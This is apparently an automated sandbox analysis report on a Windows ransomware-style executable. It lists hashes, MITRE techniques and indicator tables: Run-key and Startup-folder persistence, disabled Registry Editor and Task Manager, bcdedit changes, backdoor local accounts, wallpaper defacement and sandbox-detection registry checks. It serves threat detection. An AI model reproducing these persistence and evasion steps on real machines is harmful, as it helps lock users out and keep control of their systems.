74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9

Analysis

max time kernel
149s
max time network
114s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
15/07/2026, 07:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
Size 8.7MB
Sample260715-httr2ahs5v
SHA256 74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9
MD5 10d7b11c49ce9ddae3007238861cf236
SHA1 46396fcb47dbbbab48478eda0060c305aec06c21
SHA512 968197ebf5a072f5a45a5b555c03356d235627101f55b4e18ece876f40741d583b2399dfee38428088f8aebbe88d02c6aaadbca980e509852cf7dd5ea18564cc
SSDEEP 196608:j9rbh7GJtlZihUGhLBc/0rrPJBVmxaTMtOqYfDe3YVD/QSioSsTTEEzx:jdWzGhK/0XPJBVmxa43YDSY
TLSH
T11F963325B32481E9E82744B678956783F196F1C60F24C7EF4B718BB26E139D0B93CB19
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery persistence ransomware

Malware Config

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	reg.exe

Disables Task Manager via registry modification
defense_evasion

Drops startup file 8 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\malware.vbs	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\malware.vbs	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\malware.vbs	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\malware.vbs	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\malware.vbs	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\malware.vbs	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\malware.vbs	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\malware.vbs	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe

Loads dropped DLL 64 IoCs

pid	Process
936	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
936	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
936	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
936	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
936	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
936	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
936	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
936	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
936	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
936	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
936	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
936	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
936	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3860	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3860	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3860	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3860	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3860	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3860	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3860	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3860	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3860	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3860	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3860	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3860	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3860	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3768	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3768	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3768	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3768	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3768	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3768	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3768	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3768	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3768	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3768	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3768	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3768	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3768	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
1428	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
1428	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
1428	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
1428	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
1428	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
1428	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
1428	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
1428	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
1428	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
1428	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
1428	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
1428	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
1428	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
4760	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
4760	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
4760	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
4760	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
4760	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
4760	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
4760	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
4760	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
4760	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
4760	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
4760	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
4760	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe

Adds Run key to start application 2 TTPs 7 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Windows\CurrentVersion\Run\Malware = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe\" \"C:\\Users\\Admin\\AppData\\Local\\Temp\\ONEFIL~1\\NoComputer.py\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Windows\CurrentVersion\Run\Malware = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe\" \"C:\\Users\\Admin\\AppData\\Local\\Temp\\ONEFIL~2\\NoComputer.py\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Windows\CurrentVersion\Run\Malware = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe\" \"C:\\Users\\Admin\\AppData\\Local\\Temp\\ONEFIL~3\\NoComputer.py\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Windows\CurrentVersion\Run\Malware = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe\" \"C:\\Users\\Admin\\AppData\\Local\\Temp\\ONEFIL~4\\NoComputer.py\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Windows\CurrentVersion\Run\Malware = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe\" \"C:\\Users\\Admin\\AppData\\Local\\Temp\\ON9BF6~1\\NoComputer.py\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Windows\CurrentVersion\Run\Malware = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe\" \"C:\\Users\\Admin\\AppData\\Local\\Temp\\ON2FE9~1\\NoComputer.py\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Windows\CurrentVersion\Run\Malware = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe\" \"C:\\Users\\Admin\\AppData\\Local\\Temp\\ON8D4D~1\\NoComputer.py\""	reg.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\F:	vds.exe

Modifies boot configuration data using bcdedit 8 IoCs

pid	Process
6084	bcdedit.exe
3348	bcdedit.exe
6084	bcdedit.exe
4704	bcdedit.exe
5308	bcdedit.exe
4908	bcdedit.exe
528	bcdedit.exe
7108	bcdedit.exe

Creates a new local user account 1 TTPs 34 IoCs

Uses net.exe to create a new local user account, often for persistence or a backdoor account.

persistence

Local Account

T1136.001

pid	Process
2548	net1.exe
1936	net.exe
2356	net.exe
3656	net1.exe
1492	net.exe
5548	net.exe
3272	net.exe
6284	net.exe
5500	net1.exe
2584	net.exe
5604	net1.exe
4076	net.exe
4508	net.exe
4960	net.exe
4592	net1.exe
1080	net.exe
5020	net1.exe
3704	net1.exe
6348	net1.exe
4448	net.exe
3488	net1.exe
460	net1.exe
5972	net1.exe
4816	net.exe
460	net1.exe
4700	net1.exe
3180	net1.exe
4544	net.exe
2884	net1.exe
5268	net.exe
5988	net.exe
3352	net1.exe
2040	net.exe
4528	net1.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 50 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
576	cmd.exe
2608	cmd.exe
4124	cmd.exe
5032	cmd.exe
2628	cmd.exe
5112	cmd.exe
6064	cmd.exe
5220	cmd.exe
1676	cmd.exe
3592	cmd.exe
5044	cmd.exe
4376	cmd.exe
4156	cmd.exe
6080	cmd.exe
1456	cmd.exe
3776	cmd.exe
2392	cmd.exe
4516	cmd.exe
5564	cmd.exe
4384	cmd.exe
3932	cmd.exe
3560	cmd.exe
2208	cmd.exe
504	cmd.exe
5164	cmd.exe
5360	cmd.exe
5100	cmd.exe
952	cmd.exe
1660	cmd.exe
4256	cmd.exe
4796	cmd.exe
1180	cmd.exe
5296	cmd.exe
4148	cmd.exe
3288	cmd.exe
4772	cmd.exe
5000	cmd.exe
5824	cmd.exe
2376	cmd.exe
5780	cmd.exe
4844	cmd.exe
2848	cmd.exe
3028	cmd.exe
2080	cmd.exe
2536	cmd.exe
1688	cmd.exe
3780	cmd.exe
5096	cmd.exe
4424	cmd.exe
4992	cmd.exe

Sets desktop wallpaper using registry 2 TTPs 8 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\black_wallpaper.bmp"	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\black_wallpaper.bmp"	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\black_wallpaper.bmp"	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\black_wallpaper.bmp"	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\black_wallpaper.bmp"	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\black_wallpaper.bmp"	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\black_wallpaper.bmp"	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\black_wallpaper.bmp"	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe

Drops file in Windows directory 7 IoCs

description	ioc	Process
File opened for modification	C:\Windows\clean.txt	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
File opened for modification	C:\Windows\clean.txt	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
File created	C:\Windows\clean.txt	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
File opened for modification	C:\Windows\clean.txt	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
File opened for modification	C:\Windows\clean.txt	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
File opened for modification	C:\Windows\clean.txt	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
File opened for modification	C:\Windows\clean.txt	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

Checks SCSI registry key(s) 3 TTPs 12 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	vds.exe

Modifies registry key 1 TTPs 64 IoCs

Modify Registry

T1112

pid	Process
1296	reg.exe
6228	reg.exe
6164	reg.exe
6152	reg.exe
7164	reg.exe
4608	reg.exe
4608	reg.exe
1700	reg.exe
3556	reg.exe
6216	reg.exe
7104	reg.exe
7136	reg.exe
3244	reg.exe
2968	reg.exe
4628	reg.exe
5184	reg.exe
7040	reg.exe
4108	reg.exe
5428	reg.exe
1584	reg.exe
4132	reg.exe
1636	reg.exe
1116	reg.exe
7088	reg.exe
752	reg.exe
5400	reg.exe
3372	reg.exe
4460	reg.exe
2364	reg.exe
5772	reg.exe
5868	reg.exe
6524	reg.exe
7064	reg.exe
5512	reg.exe
4748	reg.exe
7120	reg.exe
1116	reg.exe
6488	reg.exe
4536	reg.exe
5900	reg.exe
7032	reg.exe
6160	reg.exe
2908	reg.exe
1116	reg.exe
6824	reg.exe
5240	reg.exe
2240	reg.exe
5260	reg.exe
6204	reg.exe
7016	reg.exe
4108	reg.exe
4356	reg.exe
5572	reg.exe
4724	reg.exe
4524	reg.exe
7112	reg.exe
6624	reg.exe
3128	reg.exe
5392	reg.exe
976	reg.exe
5184	reg.exe
1116	reg.exe
4224	reg.exe
6248	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 40 IoCs

pid	Process
876	WMIC.exe
876	WMIC.exe
876	WMIC.exe
876	WMIC.exe
1804	WMIC.exe
1804	WMIC.exe
1804	WMIC.exe
1804	WMIC.exe
6084	WMIC.exe
6084	WMIC.exe
6084	WMIC.exe
6084	WMIC.exe
1548	WMIC.exe
1548	WMIC.exe
1548	WMIC.exe
1548	WMIC.exe
4196	WMIC.exe
4196	WMIC.exe
4196	WMIC.exe
4196	WMIC.exe
5720	WMIC.exe
5720	WMIC.exe
5720	WMIC.exe
5720	WMIC.exe
6044	WMIC.exe
6044	WMIC.exe
6044	WMIC.exe
6044	WMIC.exe
3036	WMIC.exe
3036	WMIC.exe
3036	WMIC.exe
3036	WMIC.exe
4268	WMIC.exe
4268	WMIC.exe
4268	WMIC.exe
4268	WMIC.exe
2032	WMIC.exe
2032	WMIC.exe
2032	WMIC.exe
2032	WMIC.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	876	WMIC.exe
Token: SeSecurityPrivilege	876	WMIC.exe
Token: SeTakeOwnershipPrivilege	876	WMIC.exe
Token: SeLoadDriverPrivilege	876	WMIC.exe
Token: SeSystemProfilePrivilege	876	WMIC.exe
Token: SeSystemtimePrivilege	876	WMIC.exe
Token: SeProfSingleProcessPrivilege	876	WMIC.exe
Token: SeIncBasePriorityPrivilege	876	WMIC.exe
Token: SeCreatePagefilePrivilege	876	WMIC.exe
Token: SeBackupPrivilege	876	WMIC.exe
Token: SeRestorePrivilege	876	WMIC.exe
Token: SeShutdownPrivilege	876	WMIC.exe
Token: SeDebugPrivilege	876	WMIC.exe
Token: SeSystemEnvironmentPrivilege	876	WMIC.exe
Token: SeRemoteShutdownPrivilege	876	WMIC.exe
Token: SeUndockPrivilege	876	WMIC.exe
Token: SeManageVolumePrivilege	876	WMIC.exe
Token: 33	876	WMIC.exe
Token: 34	876	WMIC.exe
Token: 35	876	WMIC.exe
Token: 36	876	WMIC.exe
Token: SeIncreaseQuotaPrivilege	876	WMIC.exe
Token: SeSecurityPrivilege	876	WMIC.exe
Token: SeTakeOwnershipPrivilege	876	WMIC.exe
Token: SeLoadDriverPrivilege	876	WMIC.exe
Token: SeSystemProfilePrivilege	876	WMIC.exe
Token: SeSystemtimePrivilege	876	WMIC.exe
Token: SeProfSingleProcessPrivilege	876	WMIC.exe
Token: SeIncBasePriorityPrivilege	876	WMIC.exe
Token: SeCreatePagefilePrivilege	876	WMIC.exe
Token: SeBackupPrivilege	876	WMIC.exe
Token: SeRestorePrivilege	876	WMIC.exe
Token: SeShutdownPrivilege	876	WMIC.exe
Token: SeDebugPrivilege	876	WMIC.exe
Token: SeSystemEnvironmentPrivilege	876	WMIC.exe
Token: SeRemoteShutdownPrivilege	876	WMIC.exe
Token: SeUndockPrivilege	876	WMIC.exe
Token: SeManageVolumePrivilege	876	WMIC.exe
Token: 33	876	WMIC.exe
Token: 34	876	WMIC.exe
Token: 35	876	WMIC.exe
Token: 36	876	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1804	WMIC.exe
Token: SeSecurityPrivilege	1804	WMIC.exe
Token: SeTakeOwnershipPrivilege	1804	WMIC.exe
Token: SeLoadDriverPrivilege	1804	WMIC.exe
Token: SeSystemProfilePrivilege	1804	WMIC.exe
Token: SeSystemtimePrivilege	1804	WMIC.exe
Token: SeProfSingleProcessPrivilege	1804	WMIC.exe
Token: SeIncBasePriorityPrivilege	1804	WMIC.exe
Token: SeCreatePagefilePrivilege	1804	WMIC.exe
Token: SeBackupPrivilege	1804	WMIC.exe
Token: SeRestorePrivilege	1804	WMIC.exe
Token: SeShutdownPrivilege	1804	WMIC.exe
Token: SeDebugPrivilege	1804	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1804	WMIC.exe
Token: SeRemoteShutdownPrivilege	1804	WMIC.exe
Token: SeUndockPrivilege	1804	WMIC.exe
Token: SeManageVolumePrivilege	1804	WMIC.exe
Token: 33	1804	WMIC.exe
Token: 34	1804	WMIC.exe
Token: 35	1804	WMIC.exe
Token: 36	1804	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1804	WMIC.exe

Suspicious use of SetWindowsHookEx 16 IoCs

pid	Process
936	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
936	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3860	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3860	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3768	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3768	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
1428	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
1428	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
4760	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
4760	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
5348	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
5348	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
5932	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
5932	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
512	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
512	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2424 wrote to memory of 936	2424	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	87
PID 936 wrote to memory of 4148	936	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	88
PID 4148 wrote to memory of 5516	4148	cmd.exe	90
PID 936 wrote to memory of 4124	936	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	91
PID 4124 wrote to memory of 5116	4124	cmd.exe	93
